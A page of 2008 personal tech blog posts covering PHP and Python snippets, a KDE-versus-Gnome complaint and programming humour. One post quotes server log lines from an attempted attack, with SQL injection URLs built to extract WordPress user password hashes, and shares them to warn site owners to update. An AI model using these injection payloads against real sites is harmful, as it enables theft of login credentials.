Blog

October 21, 2008 22:29 +0000  |  Geek Stuff 2

I'm struck suddenly by the number of things to which I've committed myself in my "off" hours:

  1. My Municipal Collective idea
  2. Stephen's girlfriend's site (just HTML layout etc.)
  3. Wordpress fix for Stephen's Civics Education Network site
  4. Mapping project for the VPSN
  5. A complete rewrite of this site (it's been 2years)
  6. A ticket selling project with my brother

Aside from #1, all of the above are technical in nature and require a serious amount of attention. Looks like I had better put a dent in these this weekend.

October 20, 2008 17:54 +0000  |  Geek Stuff Programming 3

Big thanks to Corey for brightening my day with this one:

  1. Disbelief
    • "Who wrote this!?
  2. Anger
    • "I'm not cleaning this up!"
  3. Bargaining
    • "Okay, we'll fix up this module if you promise we'll just rewrite everything else."
  4. Depression
    • "This is never going to get any better."
  5. Acceptance
    • "I'll just create a wrapper..."

October 10, 2008 20:19 +0000  |  Geek Stuff Software 1

I wrote a fun bit of code for doing Facebook apps and thought that I would share.

One of the big problems with Facebook's app system is styleising text. You can't include an external file because they won't let you. This leads a lot of designers to write their code directly into the style="" attribute in the HTML. This can get ugly fast, and is the reason external .css files exist in the first place.

To remedy this, you can create the usual .css file externally and then call this helper function to get the job done for you. If you have to use paths etc in it, you can even pass a key/value pair dictionary to it to swap out keywords so that a strings like this:

	background-image: url('http://domain.tld/path/to/some/image.png');

Can look like this:

	background-image: url('[[images]]/image.png');

The call for this type of thing would be just:

	print '
		<style type="text/css">
			'. Helper::css('myStyle', array('images' => 'http://domain.tld/path/to/some')) .'
		</style>
	';

Here's the soruce if you're interested:

<?



    /**
    *
    * Helper functions for the view
    *
    * \author Daniel Quinn (corporate at danielquinn.org)
    *
    */

    class Helper
    {

        /**
        *
        * Simple templating engine for cascading style sheets since
        * Facebook doesn't like the idea of including external .css
        * files.  Instead, we keep the files separate then call this
        * method with a series of key/value replacers if need be.
        *
        * \param  file  Full path for the css to include
        * \param  vars  A dictionary lookup of key value pairs to be
        *               replaced in \a file.
        *
        */
        public static function css($file, $vars = array())
        {

            $in = file_get_contents("$file.css");

            $src = array();
            $dst = array();

            foreach ($vars as $k => $v)
            {
                $src[] = '[['. $k .']]';
                $dst[] = $v;
            }

            return str_replace($src, $dst, $in);

        }

    }



?>

Not revolutionary, I know. But maybe it'll help somebody out there.

August 27, 2008 18:06 +0000  |  Free Software Geek Stuff Software Technology 0

I just watched this amazing video on the future of how we'll use the Internet. For the nerdy among you: remember how people are always saying stuff like "this will make it a web service that other people can access for whatever they like"? Well this is the end result:

Such a brilliantly simple observation. These guys are doing a great job.

August 12, 2008 08:39 +0000  |  Geek Stuff Linux 0

Over the past few days, I've been trying to switch from KDE to Gnome. It's faster, Free-er and in many ways, prettier than KDE, so I thought that I'd give it a shot... but it's not going to happen and here's why:

  1. Nautilus doesn't support bookmark folders. It's pretty impressive really, but when your filesystem browser is expected to be able to connect to local drives, network drives and remote drives over SFTP, assuming that a user is only going to have 6 or 7 bookmarks is unreasonable.
  2. Terminal is lame. It may be more responsive than Konsole, but you can't move between tabs with the keys and wrap from the last to the first, and you can't paste from the highlight-copy clipboard with the keyboard while Konsole will let you use Ctrl+Shift+Ins for the highlight copy, and Shift+Ins for standard copy.
  3. No suitable replacement for Kwallet. Gnome stores some of your passwords with its keyring manager, Firefox stores its own (unencrypted) and Thunderbird stores its own (encrypted). In KDE, I login, give my master password and my encrypted password db is available to all programs for which I need it.
  4. No suitable replacement for Klipper. I got Glipper installed, but it's nowhere to be found.
  5. No decent text editors / IDEs. I tried Gvim, GPHPEdit, and Bluefish and they all suck in comparison to Kate, KDE's simple text editor and we're not even trying to compare KDevelop here. The big killer for me: no predictive text handling.
  6. Firefox may be more functional than Konqueror, it's still way ugly by comparison.

Frankly, I've found Gnome to be sorely lacking in what I would consider key areas. People want their passwords and things memorised and they want them accessible in one easy step. I have well over 100 filesystem bookmarks and I'm a programmer -- I need a good text editor. If I wanted a prettier Vim, I wouldn't be using a GUI.

Maybe I'll try again next year but until then, KDE, though it may be slow and bloated, at least does what I think a GUI should.

August 06, 2008 10:55 +0000  |  Geek Stuff Programming Python 2

Yeah, I know it's late, but I got obsessed and couldn't turn away. Now I have a really slick python script that pulls down the latest Questionable Content strip and adds it to my collection to read later:

#!/usr/bin/env python

import os, sys, re
import pycurl, urllib2

destination = "/path/to/qc/repository"

class QC:

  def __init__(self):

    self.contents = ''
    self.baseurl  = 'http://questionablecontent.net/'


  def callback(self,buf):

    self.contents = self.contents + buf


  def end(self):

    c = pycurl.Curl()
    c.setopt(c.URL, self.baseurl)
    c.setopt(c.WRITEFUNCTION, self.callback)
    c.perform()
    c.close()

    try:
      return int(re.search('.*\/comics\/(\d+)\.png', self.contents).group(1))
    except:
      print ""
      print "  The regular expression no longer works."
      print "  You might want to check into that."
      print ""
      exit()


  def fetch(self,n):

    strip = urllib2.build_opener().open(self.baseurl + 'comics/' + str(n) + ".png").read()

    f = "%s%s%04d%s" % (destination, "/", n, ".png")

    fout = open(f, "wb")
    fout.write(strip)
    fout.close()


# Main -----------------------------------------------------------------------

qc = QC()

for i in range(1, qc.end() + 1):
  f = "%s%s%04d%s" % (destination, "/", i, ".png")
  if not os.path.exists(f):
    print "Fetching strip #" + str(i)
    qc.fetch(i)

August 01, 2008 05:46 +0000  |  Geek Stuff Software 0

For those of you who haven't heard, there was a nasty rock slide on the Sea to Sky Highway the other day, the end result of which is that Whistler and Squamish are more or less isolated from civilisation for the next five days 'till the work crews can get the road cleared up.

What most of you probably don't know however is that the Mozilla team (the people who built Firefox and friends) were having summit at Whistler this past week and they're now trapped there with everyone else.

...so they filed a bug report ;-)

I encourage you to check out the list of suggested patches and fixes. Among them, I found this gem:

We shall ride bears to Vancouver. Rocks can't stop bears.

Thanks to Barc for the link.

July 08, 2008 15:43 +0000  |  Geek Stuff Linux 0

In the Windows world, new releases are combined with big corporate ad campaigns. In the Mac world, it's a keynote filled with repeated buzzwords. But for Linux (well, Gentoo anyway), they post to their home page with a note like this:

The 2008.0 final release is out! Code-named "It's got what plants crave," this release contains numerous new features including an updated installer, improved hardware support, a complete rework of profiles, and a move to Xfce instead of GNOME on the LiveCD. LiveDVDs are not available for x86 or amd64, although they may become available in the future. The 2008.0 release also includes updated versions of many packages already available in your ebuild tree.

For those who don't get it, you should probably torrent Idiocracy ;-)

June 23, 2008 16:54 +0000  |  Blogger Geek Stuff 1

For those a bit slow on the uptake of movie references, the title of this post is from Resident Evil 2... you know, the one filmed in Toronto ;-)

I just noticed a hack attempt on this site by someone assuming that I was running WordPress:

164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-admin/admin-ajax.php? exploder
164.113.135.124 /wp-trackback.php?tb_id=1 exploder
164.113.135.124 http://www.danielquinn.org/xmlrpc.php exploder
164.113.135.124 http://www.danielquinn.org/?cat=%2527+UNION+SELECT+CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))+FROM+wp_users+where+id=1/* exploder
164.113.135.124 http://www.danielquinn.org/?cat=999+UNION+SELECT+null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-trackback.php?p=1 exploder
164.113.135.124 /wp-admin/admin-ajax.php? exploder
164.113.135.124 /wp-trackback.php?tb_id=1 exploder
164.113.135.124 http://danielquinn.org/xmlrpc.php exploder
164.113.135.124 http://danielquinn.org/?cat=%2527+UNION+SELECT+CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))+FROM+wp_users+where+id=1/* exploder
164.113.135.124 http://danielquinn.org/?cat=999+UNION+SELECT+null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* exploder

If you're running WordPress on your own servers, please update your software. It would appear that there's security holes in one of the older versions of which some less-than-noble people are aware.

Also, Python is cool. I just wanted to share that ;-)

May 02, 2008 03:30 +0000  |  Geek Stuff PHP Programming Work [at] Play 0

I just wrote this nifty wrapper for Simpletest, a unit testing suite for PHP and thought that I'd share it here.

Basically, the text output for Simpletest is ugly. And it's kinda lacking in output for those of us who are visually gratified. I like to see my tests pass and I like to see something green when everything is ok. Mock me if you like, I dig the pretty :-)

To use this, just put the following block into a file and call it something like TextReporterWithPasses.php and then, where your test suite script looks something like this:

  $test = new GroupTest('MTV API Layer');
  // Some $test->addTestFile() stuff
  $test->run();

Do this instead:

  require 'TextReporterWithPasses.php';
  $test = new GroupTest('MTV API Layer');
  // Some $test->addTestFile() stuff
  $test->run(new TextReporterWithPasses());

And behold the pretty ;-) Here's the code:

<?



  /**
  *
  *   Author: Daniel Quinn (daniel.quinn@donatgroup.com)
  *  License: GPL-3 "Information wants to be Free"
  * Function: Prettifies Simpletest's text output
  *
  */


  class TextReporterWithPasses extends TextReporter
  {

    private $_colours;
    private $_testCount;
    private $_errors;

    public function __construct()
    {
      parent::__construct();

      $this->_testCount = 0;
      $this->_errors = array();
      
      $this->_setColours();
    }


    public function paintPass($message)
    {
      $this->_passes++;
      print ($this->_testCount == 0) ? '  .' : '.';
      $this->_manageWrapping();
    }


    public function paintFail($message)
    {
      $this->_fails++;
      $error = new stdClass();
      $error->message = $message;
      $error->breadcrumb = "\tin ". implode("\n\tin ", array_reverse($this->getTestList()));

      $this->_errors[] = $error;

      print $this->_colours['red-light'];
      print ($this->_testCount == 0) ? '  x' : 'x';
      print $this->_colours['grey'];

      $this->_manageWrapping();

    }


    public function paintHeader($name)
    {
      if (!SimpleReporter::inCli())
      {
        header('Content-type: text/plain');
      }

      print "\n  ". $this->_colours['white'] . $name . $this->_colours['grey'] . "\n  ----------------------------------------------------------------------------\n";

      flush();

    }


    public function paintFooter()
    {

      if ($this->getFailCount() + $this->getExceptionCount() == 0)
      {
        print "\n\n  ". $this->_colours['white'] .'[ '. $this->_colours['green-light'] .'w00t!'. $this->_colours['white'] ." ]\n";
      }
      else
      {
        print "\n\n". $this->_colours['red-light'] ."  The result was less awesome than you might have hoped :-(\n\n". $this->_colours['red'];
        foreach ($this->_errors as $e)
        {
          print "  $e->message";
        }
        print "\n";
      }

      $status = array(
        'run' => $this->getTestCaseProgress() ."/". $this->getTestCaseCount(),
        'passes' => $this->getPassCount(),
        'failures' => $this->getFailCount(),
        'exceptions' => $this->getExceptionCount()
      );

      print $this->_colours['white'];

      print "\n  Test cases run: $status[run], Passes: $status[passes], Failures: $status[failures], Exceptions: $status[exceptions]\n\n";

      print $this->_colours['none'];

    }


    // Private methods -------------------------------------------

    private function _setColours()
    {
      $this->_colours = array(
        'black'       => "\033[0;30m",
        'blue'        => "\033[0;34m",
        'blue-light'  => "\033[1;34m",
        'green'       => "\033[0;32m",
        'green-light' => "\033[1;32m",
        'cyan'        => "\033[0;36m",
        'cyan-light'  => "\033[1;36m",
        'red'         => "\033[0;31m",
        'red-light'   => "\033[1;31m",
        'purple'      => "\033[0;35m",
        'brown'       => "\033[0;33m",
        'grey'        => "\033[1;30m",
        'grey-light'  => "\033[0;37m",
        'pink'        => "\033[1;35m",
        'yellow'      => "\033[1;33m",
        'white'       => "\033[1;37m",
        'none'        => "\033[0m"
      );
    }


    private function _manageWrapping()
    {
      // Poor man's wrapping
      if (++$this->_testCount == 76)
      {
        print "\n";
        $this->_testCount = 0;
      }
    }


  }


?>

Isn't it cool that I work for a company that supports the Free distribution of code?